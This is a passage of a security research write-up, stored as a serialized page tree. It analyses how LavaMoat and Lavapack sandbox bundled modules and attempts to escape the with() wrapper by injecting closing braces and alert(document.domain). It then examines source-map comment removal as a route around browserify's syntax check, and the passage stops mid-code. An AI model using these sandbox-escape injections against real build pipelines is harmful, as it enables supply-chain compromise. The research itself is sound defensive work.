throw",{"type":24,"tag":327,"props":54402,"children":54403},{"style":334},[54404],{"type":29,"value":38643},{"type":24,"tag":327,"props":54406,"children":54407},{"style":340},[54408],{"type":29,"value":46997},{"type":24,"tag":327,"props":54410,"children":54411},{"style":346},[54412],{"type":29,"value":349},{"type":24,"tag":327,"props":54414,"children":54415},{"style":844},[54416],{"type":29,"value":54417},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":24,"tag":327,"props":54419,"children":54420},{"style":334},[54421],{"type":29,"value":40820},{"type":24,"tag":327,"props":54423,"children":54424},{"style":334},[54425],{"type":29,"value":38113},{"type":24,"tag":327,"props":54427,"children":54428},{"style":356},[54429],{"type":29,"value":54430}," scuttleOpts",{"type":24,"tag":327,"props":54432,"children":54433},{"style":381},[54434],{"type":29,"value":66},{"type":24,"tag":327,"props":54436,"children":54437},{"style":356},[54438],{"type":29,"value":54388},{"type":24,"tag":327,"props":54440,"children":54441},{"style":334},[54442],{"type":29,"value":40852},{"type":24,"tag":327,"props":54444,"children":54445},{"style":844},[54446],{"type":29,"value":54447},"\"`",{"type":24,"tag":327,"props":54449,"children":54450},{"style":346},[54451],{"type":29,"value":852},{"type":24,"tag":327,"props":54453,"children":54454},{"class":329,"line":421},[54455],{"type":24,"tag":327,"props":54456,"children":54457},{"style":346},[54458],{"type":29,"value":20208},{"type":24,"tag":327,"props":54460,"children":54461},{"class":329,"line":450},[54462,54467,54471,54476,54480,54485,54489,54494,54498,54503,54507,54511,54515,54519,54523,54527],{"type":24,"tag":327,"props":54463,"children":54464},{"style":356},[54465],{"type":29,"value":54466},"      scuttleOpts",{"type":24,"tag":327,"props":54468,"children":54469},{"style":346},[54470],{"type":29,"value":66},{"type":24,"tag":327,"props":54472,"children":54473},{"style":340},[54474],{"type":29,"value":54475},"scuttlerFunc",{"type":24,"tag":327,"props":54477,"children":54478},{"style":346},[54479],{"type":29,"value":349},{"type":24,"tag":327,"props":54481,"children":54482},{"style":356},[54483],{"type":29,"value":54484},"globalRef",{"type":24,"tag":327,"props":54486,"children":54487},{"style":346},[54488],{"type":29,"value":2744},{"type":24,"tag":327,"props":54490,"children":54491},{"style":356},[54492],{"type":29,"value":54493},"realm",{"type":24,"tag":327,"props":54495,"children":54496},{"style":334},[54497],{"type":29,"value":9225},{"type":24,"tag":327,"props":54499,"children":54500},{"style":340},[54501],{"type":29,"value":54502}," performScuttleGlobalThis",{"type":24,"tag":327,"props":54504,"children":54505},{"style":346},[54506],{"type":29,"value":349},{"type":24,"tag":327,"props":54508,"children":54509},{"style":356},[54510],{"type":29,"value":54493},{"type":24,"tag":327,"props":54512,"children":54513},{"style":346},[54514],{"type":29,"value":2744},{"type":24,"tag":327,"props":54516,"children":54517},{"style":356},[54518],{"type":29,"value":54329},{"type":24,"tag":327,"props":54520,"children":54521},{"style":346},[54522],{"type":29,"value":66},{"type":24,"tag":327,"props":54524,"children":54525},{"style":356},[54526],{"type":29,"value":54388},{"type":24,"tag":327,"props":54528,"children":54529},{"style":346},[54530],{"type":29,"value":1045},{"type":24,"tag":327,"props":54532,"children":54533},{"class":329,"line":481},[54534],{"type":24,"tag":327,"props":54535,"children":54536},{"style":346},[54537],{"type":29,"value":535},{"type":24,"tag":25,"props":54539,"children":54540},{},[54541,54543,54549,54551,54557],{"type":29,"value":54542},"Subsequently, the code defines a ",{"type":24,"tag":57,"props":54544,"children":54547},{"href":54545,"rel":54546},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[61],[54548],{"type":29,"value":38087},{"type":29,"value":54550}," called ",{"type":24,"tag":284,"props":54552,"children":54554},{"className":54553},[],[54555],{"type":29,"value":54556},"generateScuttleOpts",{"type":29,"value":54558}," that creates and returns an options object.",{"type":24,"tag":25,"props":54560,"children":54561},{},[54562,54564,54570,54571,54577,54579,54584,54586,54592],{"type":29,"value":54563},"Finally, the ",{"type":24,"tag":284,"props":54565,"children":54567},{"className":54566},[],[54568],{"type":29,"value":54569},"performScuttleGlobalThis",{"type":29,"value":14024},{"type":24,"tag":57,"props":54572,"children":54575},{"href":54573,"rel":54574},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[61],[54576],{"type":29,"value":38087},{"type":29,"value":54578}," modifies the properties of the global object (",{"type":24,"tag":284,"props":54580,"children":54582},{"className":54581},[],[54583],{"type":29,"value":54484},{"type":29,"value":54585},"). It starts by creating an array ",{"type":24,"tag":284,"props":54587,"children":54589},{"className":54588},[],[54590],{"type":29,"value":54591},"props",{"type":29,"value":54593},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":24,"tag":228,"props":54595,"children":54597},{"id":54596},"hacking-webpacks",[54598],{"type":29,"value":54599},"Hacking Webpacks",{"type":24,"tag":25,"props":54601,"children":54602},{},[54603],{"type":29,"value":54604},"Now let's get to the fun stuff.",{"type":24,"tag":25,"props":54606,"children":54607},{},[54608],{"type":29,"value":54609},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":24,"tag":317,"props":54611,"children":54613},{"className":38073,"code":54612,"language":38075,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[54614],{"type":24,"tag":284,"props":54615,"children":54616},{"__ignoreMap":7},[54617,54669,54681,54701,54718,54726,54734,54742,54750,54771,54779,54787,54795,54802,54809,54816],{"type":24,"tag":327,"props":54618,"children":54619},{"class":329,"line":330},[54620,54624,54629,54633,54638,54642,54647,54651,54656,54660,54665],{"type":24,"tag":327,"props":54621,"children":54622},{"style":334},[54623],{"type":29,"value":42901},{"type":24,"tag":327,"props":54625,"children":54626},{"style":356},[54627],{"type":29,"value":54628}," filename",{"type":24,"tag":327,"props":54630,"children":54631},{"style":381},[54632],{"type":29,"value":4809},{"type":24,"tag":327,"props":54634,"children":54635},{"style":340},[54636],{"type":29,"value":54637}," encodeURI",{"type":24,"tag":327,"props":54639,"children":54640},{"style":346},[54641],{"type":29,"value":349},{"type":24,"tag":327,"props":54643,"children":54644},{"style":340},[54645],{"type":29,"value":54646},"String",{"type":24,"tag":327,"props":54648,"children":54649},{"style":346},[54650],{"type":29,"value":349},{"type":24,"tag":327,"props":54652,"children":54653},{"style":356},[54654],{"type":29,"value":54655},"moduleData",{"type":24,"tag":327,"props":54657,"children":54658},{"style":346},[54659],{"type":29,"value":66},{"type":24,"tag":327,"props":54661,"children":54662},{"style":356},[54663],{"type":29,"value":54664},"file",{"type":24,"tag":327,"props":54666,"children":54667},{"style":346},[54668],{"type":29,"value":1045},{"type":24,"tag":327,"props":54670,"children":54671},{"class":329,"line":367},[54672,54676],{"type":24,"tag":327,"props":54673,"children":54674},{"style":334},[54675],{"type":29,"value":15417},{"type":24,"tag":327,"props":54677,"children":54678},{"style":356},[54679],{"type":29,"value":54680}," moduleWrapperSource\n",{"type":24,"tag":327,"props":54682,"children":54683},{"class":329,"line":408},[54684,54688,54692,54697],{"type":24,"tag":327,"props":54685,"children":54686},{"style":425},[54687],{"type":29,"value":38104},{"type":24,"tag":327,"props":54689,"children":54690},{"style":346},[54691],{"type":29,"value":5894},{"type":24,"tag":327,"props":54693,"children":54694},{"style":356},[54695],{"type":29,"value":54696},"bundleWithPrecompiledModules",{"type":24,"tag":327,"props":54698,"children":54699},{"style":346},[54700],{"type":29,"value":364},{"type":24,"tag":327,"props":54702,"children":54703},{"class":329,"line":421},[54704,54709,54713],{"type":24,"tag":327,"props":54705,"children":54706},{"style":356},[54707],{"type":29,"value":54708},"    moduleWrapperSource",{"type":24,"tag":327,"props":54710,"children":54711},{"style":381},[54712],{"type":29,"value":4809},{"type":24,"tag":327,"props":54714,"children":54715},{"style":844},[54716],{"type":29,"value":54717}," `function(){\n",{"type":24,"tag":327,"props":54719,"children":54720},{"class":329,"line":450},[54721],{"type":24,"tag":327,"props":54722,"children":54723},{"style":844},[54724],{"type":29,"value":54725},"      with (this.scopeTerminator) {\n",{"type":24,"tag":327,"props":54727,"children":54728},{"class":329,"line":481},[54729],{"type":24,"tag":327,"props":54730,"children":54731},{"style":844},[54732],{"type":29,"value":54733},"        with (this.globalThis) {\n",{"type":24,"tag":327,"props":54735,"children":54736},{"class":329,"line":500},[54737],{"type":24,"tag":327,"props":54738,"children":54739},{"style":844},[54740],{"type":29,"value":54741},"          return function() {\n",{"type":24,"tag":327,"props":54743,"children":54744},{"class":329,"line":529},[54745],{"type":24,"tag":327,"props":54746,"children":54747},{"style":844},[54748],{"type":29,"value":54749},"            'use strict';\n",{"type":24,"tag":327,"props":54751,"children":54752},{"class":329,"line":538},[54753,54758,54762,54767],{"type":24,"tag":327,"props":54754,"children":54755},{"style":844},[54756],{"type":29,"value":54757},"            // source: ",{"type":24,"tag":327,"props":54759,"children":54760},{"style":334},[54761],{"type":29,"value":40820},{"type":24,"tag":327,"props":54763,"children":54764},{"style":356},[54765],{"type":29,"value":54766},"filename",{"type":24,"tag":327,"props":54768,"children":54769},{"style":334},[54770],{"type":29,"value":592},{"type":24,"tag":327,"props":54772,"children":54773},{"class":329,"line":547},[54774],{"type":24,"tag":327,"props":54775,"children":54776},{"style":844},[54777],{"type":29,"value":54778},"            return function (require, module, exports) {\n",{"type":24,"tag":327,"props":54780,"children":54781},{"class":329,"line":557},[54782],{"type":24,"tag":327,"props":54783,"children":54784},{"style":844},[54785],{"type":29,"value":54786},"              __MODULE_CONTENT__\n",{"type":24,"tag":327,"props":54788,"children":54789},{"class":329,"line":586},[54790],{"type":24,"tag":327,"props":54791,"children":54792},{"style":844},[54793],{"type":29,"value":54794},"            };\n",{"type":24,"tag":327,"props":54796,"children":54797},{"class":329,"line":1017},[54798],{"type":24,"tag":327,"props":54799,"children":54800},{"style":844},[54801],{"type":29,"value":16262},{"type":24,"tag":327,"props":54803,"children":54804},{"class":329,"line":1026},[54805],{"type":24,"tag":327,"props":54806,"children":54807},{"style":844},[54808],{"type":29,"value":8989},{"type":24,"tag":327,"props":54810,"children":54811},{"class":329,"line":1048},[54812],{"type":24,"tag":327,"props":54813,"children":54814},{"style":844},[54815],{"type":29,"value":20208},{"type":24,"tag":327,"props":54817,"children":54818},{"class":329,"line":1067},[54819],{"type":24,"tag":327,"props":54820,"children":54821},{"style":844},[54822],{"type":29,"value":54823},"    }`\n",{"type":24,"tag":25,"props":54825,"children":54826},{},[54827,54829,54835,54837,54843],{"type":29,"value":54828},"Lavapack uses ",{"type":24,"tag":284,"props":54830,"children":54832},{"className":54831},[],[54833],{"type":29,"value":54834},"with()",{"type":29,"value":54836}," proxies to restrict the objects accessible by the module, and ",{"type":24,"tag":284,"props":54838,"children":54840},{"className":54839},[],[54841],{"type":29,"value":54842},"__MODULE_CONTENT__",{"type":29,"value":54844}," is replaced by the content of a file required by the project being built.",{"type":24,"tag":235,"props":54846,"children":54848},{"id":54847},"injection-not-so-simple",[54849],{"type":29,"value":54850},"Injection? Not So Simple",{"type":24,"tag":25,"props":54852,"children":54853},{},[54854,54856,54861],{"type":29,"value":54855},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":24,"tag":284,"props":54857,"children":54859},{"className":54858},[],[54860],{"type":29,"value":20195},{"type":29,"value":54862}," environment:",{"type":24,"tag":317,"props":54864,"children":54866},{"className":38073,"code":54865,"language":38075,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[54867],{"type":24,"tag":284,"props":54868,"children":54869},{"__ignoreMap":7},[54870,54883,54895,54907,54919,54926],{"type":24,"tag":327,"props":54871,"children":54872},{"class":329,"line":330},[54873,54878],{"type":24,"tag":327,"props":54874,"children":54875},{"style":346},[54876],{"type":29,"value":54877},"   } ",{"type":24,"tag":327,"props":54879,"children":54880},{"style":551},[54881],{"type":29,"value":54882},"// end function 1\n",{"type":24,"tag":327,"props":54884,"children":54885},{"class":329,"line":367},[54886,54890],{"type":24,"tag":327,"props":54887,"children":54888},{"style":346},[54889],{"type":29,"value":38178},{"type":24,"tag":327,"props":54891,"children":54892},{"style":551},[54893],{"type":29,"value":54894},"// end function 2\n",{"type":24,"tag":327,"props":54896,"children":54897},{"class":329,"line":408},[54898,54902],{"type":24,"tag":327,"props":54899,"children":54900},{"style":346},[54901],{"type":29,"value":42915},{"type":24,"tag":327,"props":54903,"children":54904},{"style":551},[54905],{"type":29,"value":54906},"// end with 1\n",{"type":24,"tag":327,"props":54908,"children":54909},{"class":329,"line":421},[54910,54914],{"type":24,"tag":327,"props":54911,"children":54912},{"style":346},[54913],{"type":29,"value":53593},{"type":24,"tag":327,"props":54915,"children":54916},{"style":551},[54917],{"type":29,"value":54918},"// end with 2\n",{"type":24,"tag":327,"props":54920,"children":54921},{"class":329,"line":450},[54922],{"type":24,"tag":327,"props":54923,"children":54924},{"emptyLinePlaceholder":16},[54925],{"type":29,"value":544},{"type":24,"tag":327,"props":54927,"children":54928},{"class":329,"line":481},[54929,54933,54937,54941,54945,54949],{"type":24,"tag":327,"props":54930,"children":54931},{"style":340},[54932],{"type":29,"value":39408},{"type":24,"tag":327,"props":54934,"children":54935},{"style":346},[54936],{"type":29,"value":349},{"type":24,"tag":327,"props":54938,"children":54939},{"style":356},[54940],{"type":29,"value":39418},{"type":24,"tag":327,"props":54942,"children":54943},{"style":346},[54944],{"type":29,"value":66},{"type":24,"tag":327,"props":54946,"children":54947},{"style":356},[54948],{"type":29,"value":39428},{"type":24,"tag":327,"props":54950,"children":54951},{"style":346},[54952],{"type":29,"value":852},{"type":24,"tag":25,"props":54954,"children":54955},{},[54956,54958,54964,54966,54973],{"type":29,"value":54957},"However, when we tried to bundle it, a ",{"type":24,"tag":284,"props":54959,"children":54961},{"className":54960},[],[54962],{"type":29,"value":54963},"ParseError",{"type":29,"value":54965}," was thrown. This is because Lavapack is a plugin of ",{"type":24,"tag":57,"props":54967,"children":54970},{"href":54968,"rel":54969},"https://github.com/browserify/browserify",[61],[54971],{"type":29,"value":54972},"browserify",{"type":29,"value":54974},", which has a syntax check before replacing the code.",{"type":24,"tag":25,"props":54976,"children":54977},{},[54978,54980,54986,54988,54994,54996,55002,55004,55009],{"type":29,"value":54979},"Looking deeper into browserify, we find it has a ",{"type":24,"tag":284,"props":54981,"children":54983},{"className":54982},[],[54984],{"type":29,"value":54985},"syntax",{"type":29,"value":54987}," stage on it's pipeline, and uses the ",{"type":24,"tag":284,"props":54989,"children":54991},{"className":54990},[],[54992],{"type":29,"value":54993},"syntax-error",{"type":29,"value":54995}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":24,"tag":284,"props":54997,"children":54999},{"className":54998},[],[55000],{"type":29,"value":55001},"pack",{"type":29,"value":55003}," stage on browserify pipeline, which comes after the ",{"type":24,"tag":284,"props":55005,"children":55007},{"className":55006},[],[55008],{"type":29,"value":54985},{"type":29,"value":55010},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":24,"tag":25,"props":55012,"children":55013},{},[55014],{"type":24,"tag":11511,"props":55015,"children":55018},{"alt":55016,"src":55017},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":24,"tag":25,"props":55020,"children":55021},{},[55022,55023,55028,55030,55035],{"type":29,"value":1713},{"type":24,"tag":284,"props":55024,"children":55026},{"className":55025},[],[55027],{"type":29,"value":54993},{"type":29,"value":55029}," package performs a syntax check by using  ",{"type":24,"tag":284,"props":55031,"children":55033},{"className":55032},[],[55034],{"type":29,"value":44261},{"type":29,"value":55036}," with function hoisting:",{"type":24,"tag":317,"props":55038,"children":55040},{"className":38073,"code":55039,"language":38075,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[55041],{"type":24,"tag":284,"props":55042,"children":55043},{"__ignoreMap":7},[55044,55056,55106,55117,55124,55145,55186,55246,55287],{"type":24,"tag":327,"props":55045,"children":55046},{"class":329,"line":330},[55047,55052],{"type":24,"tag":327,"props":55048,"children":55049},{"style":425},[55050],{"type":29,"value":55051},"try",{"type":24,"tag":327,"props":55053,"children":55054},{"style":346},[55055],{"type":29,"value":497},{"type":24,"tag":327,"props":55057,"children":55058},{"class":329,"line":367},[55059,55064,55068,55073,55077,55082,55086,55091,55097,55102],{"type":24,"tag":327,"props":55060,"children":55061},{"style":340},[55062],{"type":29,"value":55063},"    eval",{"type":24,"tag":327,"props":55065,"children":55066},{"style":346},[55067],{"type":29,"value":349},{"type":24,"tag":327,"props":55069,"children":55070},{"style":844},[55071],{"type":29,"value":55072},"'throw \"STOP\"; (function () { '",{"type":24,"tag":327,"props":55074,"children":55075},{"style":381},[55076],{"type":29,"value":4407},{"type":24,"tag":327,"props":55078,"children":55079},{"style":356},[55080],{"type":29,"value":55081}," src",{"type":24,"tag":327,"props":55083,"children":55084},{"style":381},[55085],{"type":29,"value":4407},{"type":24,"tag":327,"props":55087,"children":55088},{"style":844},[55089],{"type":29,"value":55090}," '",{"type":24,"tag":327,"props":55092,"children":55094},{"style":55093},"--shiki-default:#D7BA7D",[55095],{"type":29,"value":55096},"\\n",{"type":24,"tag":327,"props":55098,"children":55099},{"style":844},[55100],{"type":29,"value":55101},"})()'",{"type":24,"tag":327,"props":55103,"children":55104},{"style":346},[55105],{"type":29,"value":583},{"type":24,"tag":327,"props":55107,"children":55108},{"class":329,"line":408},[55109,55113],{"type":24,"tag":327,"props":55110,"children":55111},{"style":425},[55112],{"type":29,"value":6023},{"type":24,"tag":327,"props":55114,"children":55115},{"style":346},[55116],{"type":29,"value":405},{"type":24,"tag":327,"props":55118,"children":55119},{"class":329,"line":421},[55120],{"type":24,"tag":327,"props":55121,"children":55122},{"style":346},[55123],{"type":29,"value":592},{"type":24,"tag":327,"props":55125,"children":55126},{"class":329,"line":450},[55127,55132,55136,55141],{"type":24,"tag":327,"props":55128,"children":55129},{"style":425},[55130],{"type":29,"value":55131},"catch",{"type":24,"tag":327,"props":55133,"children":55134},{"style":346},[55135],{"type":29,"value":5894},{"type":24,"tag":327,"props":55137,"children":55138},{"style":356},[55139],{"type":29,"value":55140},"err",{"type":24,"tag":327,"props":55142,"children":55143},{"style":346},[55144],{"type":29,"value":364},{"type":24,"tag":327,"props":55146,"children":55147},{"class":329,"line":481},[55148,55152,55156,55160,55164,55169,55173,55178,55182],{"type":24,"tag":327,"props":55149,"children":55150},{"style":425},[55151],{"type":29,"value":428},{"type":24,"tag":327,"props":55153,"children":55154},{"style":346},[55155],{"type":29,"value":5894},{"type":24,"tag":327,"props":55157,"children":55158},{"style":356},[55159],{"type":29,"value":55140},{"type":24,"tag":327,"props":55161,"children":55162},{"style":381},[55163],{"type":29,"value":38132},{"type":24,"tag":327,"props":55165,"children":55166},{"style":844},[55167],{"type":29,"value":55168}," 'STOP'",{"type":24,"tag":327,"props":55170,"children":55171},{"style":346},[55172],{"type":29,"value":1674},{"type":24,"tag":327,"props":55174,"children":55175},{"style":425},[55176],{"type":29,"value":55177},"return",{"type":24,"tag":327,"props":55179,"children":55180},{"style":334},[55181],{"type":29,"value":46051},{"type":24,"tag":327,"props":55183,"children":55184},{"style":346},[55185],{"type":29,"value":405},{"type":24,"tag":327,"props":55187,"children":55188},{"class":329,"line":500},[55189,55193,55197,55201,55205,55210,55214,55219,55224,55229,55233,55237,55242],{"type":24,"tag":327,"props":55190,"children":55191},{"style":425},[55192],{"type":29,"value":428},{"type":24,"tag":327,"props":55194,"children":55195},{"style":346},[55196],{"type":29,"value":5894},{"type":24,"tag":327,"props":55198,"children":55199},{"style":356},[55200],{"type":29,"value":55140},{"type":24,"tag":327,"props":55202,"children":55203},{"style":346},[55204],{"type":29,"value":66},{"type":24,"tag":327,"props":55206,"children":55207},{"style":356},[55208],{"type":29,"value":55209},"constructor",{"type":24,"tag":327,"props":55211,"children":55212},{"style":346},[55213],{"type":29,"value":66},{"type":24,"tag":327,"props":55215,"children":55216},{"style":356},[55217],{"type":29,"value":55218},"name",{"type":24,"tag":327,"props":55220,"children":55221},{"style":381},[55222],{"type":29,"value":55223}," !==",{"type":24,"tag":327,"props":55225,"children":55226},{"style":844},[55227],{"type":29,"value":55228}," 'SyntaxError'",{"type":24,"tag":327,"props":55230,"children":55231},{"style":346},[55232],{"type":29,"value":1674},{"type":24,"tag":327,"props":55234,"children":55235},{"style":425},[55236],{"type":29,"value":55177},{"type":24,"tag":327,"props":55238,"children":55239},{"style":356},[55240],{"type":29,"value":55241}," err",{"type":24,"tag":327,"props":55243,"children":55244},{"style":346},[55245],{"type":29,"value":405},{"type":24,"tag":327,"props":55247,"children":55248},{"class":329,"line":529},[55249,55253,55258,55262,55266,55270,55274,55278,55283],{"type":24,"tag":327,"props":55250,"children":55251},{"style":425},[55252],{"type":29,"value":6023},{"type":24,"tag":327,"props":55254,"children":55255},{"style":340},[55256],{"type":29,"value":55257}," errorInfo",{"type":24,"tag":327,"props":55259,"children":55260},{"style":346},[55261],{"type":29,"value":349},{"type":24,"tag":327,"props":55263,"children":55264},{"style":356},[55265],{"type":29,"value":39380},{"type":24,"tag":327,"props":55267,"children":55268},{"style":346},[55269],{"type":29,"value":2744},{"type":24,"tag":327,"props":55271,"children":55272},{"style":356},[55273],{"type":29,"value":54664},{"type":24,"tag":327,"props":55275,"children":55276},{"style":346},[55277],{"type":29,"value":2744},{"type":24,"tag":327,"props":55279,"children":55280},{"style":356},[55281],{"type":29,"value":55282},"opts",{"type":24,"tag":327,"props":55284,"children":55285},{"style":346},[55286],{"type":29,"value":583},{"type":24,"tag":327,"props":55288,"children":55289},{"class":329,"line":538},[55290],{"type":24,"tag":327,"props":55291,"children":55292},{"style":346},[55293],{"type":29,"value":592},{"type":24,"tag":25,"props":55295,"children":55296},{},[55297,55299,55303,55305,55311,55313,55318],{"type":29,"value":55298},"Interestingly, it ",{"type":24,"tag":42,"props":55300,"children":55301},{},[55302],{"type":29,"value":11569},{"type":29,"value":55304}," possible to inject a ",{"type":24,"tag":284,"props":55306,"children":55308},{"className":55307},[],[55309],{"type":29,"value":55310},"}); (() => {",{"type":29,"value":55312}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":24,"tag":284,"props":55314,"children":55316},{"className":55315},[],[55317],{"type":29,"value":54834},{"type":29,"value":55319}," sandbox of Lavapack.",{"type":24,"tag":235,"props":55321,"children":55323},{"id":55322},"sourcemap-the-syntax-killer",[55324],{"type":29,"value":55325},"SourceMap: The Syntax Killer",{"type":24,"tag":25,"props":55327,"children":55328},{},[55329,55331,55338],{"type":29,"value":55330},"Lavapack has a feature to extract source maps files from the code using ",{"type":24,"tag":57,"props":55332,"children":55335},{"href":55333,"rel":55334},"https://www.npmjs.com/package/convert-source-map",[61],[55336],{"type":29,"value":55337},"convert-source-map",{"type":29,"value":55339}," npm package:",{"type":24,"tag":317,"props":55341,"children":55343},{"className":38073,"code":55342,"language":38075,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[55344],{"type":24,"tag":284,"props":55345,"children":55346},{"__ignoreMap":7},[55347,55371,55413,55421,55462,55503,55531],{"type":24,"tag":327,"props":55348,"children":55349},{"class":329,"line":330},[55350,55354,55359,55363,55367],{"type":24,"tag":327,"props":55351,"children":55352},{"style":334},[55353],{"type":29,"value":38087},{"type":24,"tag":327,"props":55355,"children":55356},{"style":340},[55357],{"type":29,"value":55358}," extractSourceMaps",{"type":24,"tag":327,"props":55360,"children":55361},{"style":346},[55362],{"type":29,"value":349},{"type":24,"tag":327,"props":55364,"children":55365},{"style":356},[55366],{"type":29,"value":44727},{"type":24,"tag":327,"props":55368,"children":55369},{"style":346},[55370],{"type":29,"value":364},{"type":24,"tag":327,"props":55372,"children":55373},{"class":329,"line":367},[55374,55378,55383,55387,55392,55396,55401,55405,55409],{"type":24,"tag":327,"props":55375,"children":55376},{"style":334},[55377],{"type":29,"value":42901},{"type":24,"tag":327,"props":55379,"children":55380},{"style":356},[55381],{"type":29,"value":55382}," converter",{"type":24,"tag":327,"props":55384,"children":55385},{"style":381},[55386],{"type":29,"value":4809},{"type":24,"tag":327,"props":55388,"children":55389},{"style":356},[55390],{"type":29,"value":55391}," convertSourceMap",{"type":24,"tag":327,"props":55393,"children":55394},{"style":346},[55395],{"type":29,"value":66},{"type":24,"tag":327,"props":55397,"children":55398},{"style":340},[55399],{"type":29,"value":55400},"fromSource",{"type":24,"tag":327,"props":55402,"children":55403},{"style":346},[55404],{"type":29,"value":349},{"type":24,"tag":327,"props":55406,"children":55407},{"style":356},[55408],{"type":29,"value":44727},{"type":24,"tag":327,"props":55410,"children":55411},{"style":346},[55412],{"type":29,"value":852},{"type":24,"tag":327,"props":55414,"children":55415},{"class":329,"line":408},[55416],{"type":24,"tag":327,"props":55417,"children":55418},{"style":551},[55419],{"type":29,"value":55420},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":24,"tag":327,"props":55422,"children":55423},{"class":329,"line":421},[55424,55428,55433,55437,55441,55445,55449,55453,55458],{"type":24,"tag":327,"props":55425,"children":55426},{"style":334},[55427],{"type":29,"value":42901},{"type":24,"tag":327,"props":55429,"children":55430},{"style":356},[55431],{"type":29,"value":55432}," maps",{"type":24,"tag":327,"props":55434,"children":55435},{"style":381},[55436],{"type":29,"value":4809},{"type":24,"tag":327,"props":55438,"children":55439},{"style":356},[55440],{"type":29,"value":55382},{"type":24,"tag":327,"props":55442,"children":55443},{"style":381},[55444],{"type":29,"value":21717},{"type":24,"tag":327,"props":55446,"children":55447},{"style":356},[55448],{"type":29,"value":55382},{"type":24,"tag":327,"props":55450,"children":55451},{"style":346},[55452],{"type":29,"value":66},{"type":24,"tag":327,"props":55454,"children":55455},{"style":340},[55456],{"type":29,"value":55457},"toObject",{"type":24,"tag":327,"props":55459,"children":55460},{"style":346},[55461],{"type":29,"value":15298},{"type":24,"tag":327,"props":55463,"children":55464},{"class":329,"line":450},[55465,55469,55474,55478,55482,55486,55491,55495,55499],{"type":24,"tag":327,"props":55466,"children":55467},{"style":334},[55468],{"type":29,"value":42901},{"type":24,"tag":327,"props":55470,"children":55471},{"style":356},[55472],{"type":29,"value":55473}," code",{"type":24,"tag":327,"props":55475,"children":55476},{"style":381},[55477],{"type":29,"value":4809},{"type":24,"tag":327,"props":55479,"children":55480},{"style":356},[55481],{"type":29,"value":55391},{"type":24,"tag":327,"props":55483,"children":55484},{"style":346},[55485],{"type":29,"value":66},{"type":24,"tag":327,"props":55487,"children":55488},{"style":340},[55489],{"type":29,"value":55490},"removeComments",{"type":24,"tag":327,"props":55492,"children":55493},{"style":346},[55494],{"type":29,"value":349},{"type":24,"tag":327,"props":55496,"children":55497},{"style":356},[55498],{"type":29,"value":44727},{"type":24,"tag":327,"props":55500,"children":55501},{"style":346},[55502],{"type":29,"value":852},{"type":24,"tag":327,"props":55504,"children":55505},{"class":329,"line":481},[55506,55510,55514,55518,55522,55527],{"type":24,"tag":327,"props":55507,"children":55508},{"style":425},[55509],{"type":29,"value":45912},{"type":24,"tag":327,"props":55511,"children":55512},{"style":346},[55513],{"type":29,"value":1940},{"type":24,"tag":327,"props":55515,"children":55516},{"style":356},[55517],{"type":29,"value":284},{"type":24,"tag":327,"props":55519,"children":55520},{"style":346},[55521],{"type":29,"value":2744},{"type":24,"tag":327,"props":55523,"children":55524},{"style":356},[55525],{"type":29,"value":55526},"maps",{"type":24,"tag":327,"props":55528,"children":55529},{"style":346},[55530],{"type":29,"value":1949},{"type":24,"tag":327,"props":55532,"children":55533},{"class":329,"line":500},[55534],{"type":24,"tag":327,"props":55535,"children":55536},{"style":346},[55537],{"type":29,"value":592},{"type":24,"tag":25,"props":55539,"children":55540},{},[55541,55543,55548,55550,55555],{"type":29,"value":55542},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":24,"tag":284,"props":55544,"children":55546},{"className":55545},[],[55547],{"type":29,"value":54985},{"type":29,"value":55549}," stage. Reviewing the ",{"type":24,"tag":284,"props":55551,"children":55553},{"className":55552},[],[55554],{"type":29,"value":55337},{"type":29,"value":55556}," code, we can see exactly how this happens.",{"type":24,"tag":317,"props":55558,"children":55560},{"className":38073,"code":55559,"language":38075,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, 